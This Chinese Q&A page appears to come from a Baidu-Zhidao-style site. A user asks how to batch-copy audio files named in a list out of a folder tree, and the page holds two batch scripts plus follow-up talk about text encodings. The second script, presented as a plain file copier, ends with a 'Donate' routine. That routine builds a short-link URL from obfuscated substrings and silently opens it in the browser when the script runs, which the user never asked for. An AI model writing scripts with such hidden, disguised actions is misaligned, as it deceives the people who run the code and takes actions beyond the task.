一个批处理复制多个文件

比如我有D盘的audio文件夹,里面有上千多个音频文件,还有子文件夹,子文件夹里还有音频文件,
我想在这里面挑出要复制的音频文件复制到其他盘的一个目录里。
每次都按Ctrl来选太麻烦,用批处理怎么搞?
最多也就是第一次麻烦点吧,要把文件名都打出来。
注意:文件名没有什么公共部分的字符,所以应该没有一个统一的替代命令吧

把要复制的音频文件的名称(如xxx.mp3),一行一个填入到名叫“list.txt”的文本文档里,将txt跟bat放一起也行

/*&cls
@echo off
mode con lines=3000
rem 从多个文件里抽取指定的几个文件复制到新文件夹
set #=Any question&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
cd /d "%~dp0"
set "源目录=D:\audio"
set "新目录=E:\choice"
set "文件列表=list.txt"
if not exist "%新目录%" md "%新目录%"
if not exist "%源目录%" (echo;"%源目录%" not found&goto end)
if not exist "%文件列表%" (echo;"%文件列表%" not found&goto end)
for /f "delims=" %%a in ('dir /a-d/b/s "%源目录%"^|cscript -nologo -e:jscript "%~f0" "%文件列表%"') do (
    echo;"%%a" --^> "%新目录%\"
    copy "%%a" "%新目录%\"
)
:end
echo;%#% +%$%%$% %z%
pause
exit
*/
var fso=new ActiveXObject('Scripting.FileSystemObject'),dic={};
while(!WSH.StdIn.AtEndOfStream){
    var line=WSH.StdIn.ReadLine();var file=fso.GetFile(line);
    if(dic[file.Name.toLowerCase()]==undefined){dic[file.Name.toLowerCase()]=[];};
    dic[file.Name.toLowerCase()].push(line);
};
var f=fso.OpenTextFile(WSH.Arguments(0),1);
while(!f.AtEndOfStream){
    var line=f.ReadLine();
    if(dic[line.toLowerCase()]){
        for(var i=0;i<dic[line.toLowerCase()].length;i++){WSH.echo(dic[line.toLowerCase()][i]);};
    };
};

追问

不好意思,我才有空测试了下。无论是否把bat和txt文件放到音频的文件夹去,运行批处理都提示文件未找到是怎么回事?我用下面依梦琴瑶的是可以的.
顺便问下,需要文件列表的txt是什么编码的呢?最好能正常复制日韩名的文件

追答

按运行后窗口中的提示联系我
应该是你操作问题,看看清楚说明及代码中的路径进行更改

温馨提示:答案为网友推荐,仅供参考
第1个回答  2019-08-29
@ecbo off & title 拷贝指定的音频文件 By 依梦琴瑶

::设置要拷贝的文件列表(把文件名+后缀名写进一个文本文件中,一行一个)
set List=Files.txt

::设置文件所在主目录
set Dir_Path=D:\audio

::设置保存目标文件夹
set SavDir=E:\Other

for /f "usebackq delims=" %%a in ("%List%") do (
for /f "delims=" %%b in ('dir /a-d/s/b "%Dir_Path%\%%~a"') do (
copy "%%~b" "%SavDir%\"
)
)
pause
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit追问

这样的话,能对audio下子目录的文件复制吗?
那个文件列表还要写文件的路径吗?
Files.txt是我自己先弄好放在哪个目录里?

追答

支持子目录
不写路径的话,就是全目录进行搜索。

Files.txt自己弄好后和脚本放在一起

追问

不好意思,我才有空测试了下。明明我音频的名是对的,为什么有两个文件“未找到”?没有什么特殊字符啊。难道你写的这个有不支持的什么字符吗?

追答

您的文本编码是什么的?那些提示找不到的文件名是什么?
因为一些日韩,或外国非英语的,也会出现这种情况

追问

第一次用的是UTF-8,批处理只显示已复制 1个文件,我又改用ANSI,复制的时候显示那些文件名了,之前没复制的也复制过去了。但这些都是英文名的(仅有一个里面含有中文的括号),如果要是有日韩文字名的文件怎么办?

追答

日文可能还正常,但韩文我也很无奈。

本回答被提问者和网友采纳
第2个回答  2019-08-29
audio目录下Ctrl+A再Ctrl+C;到你想放的位置Ctrl+V
相似回答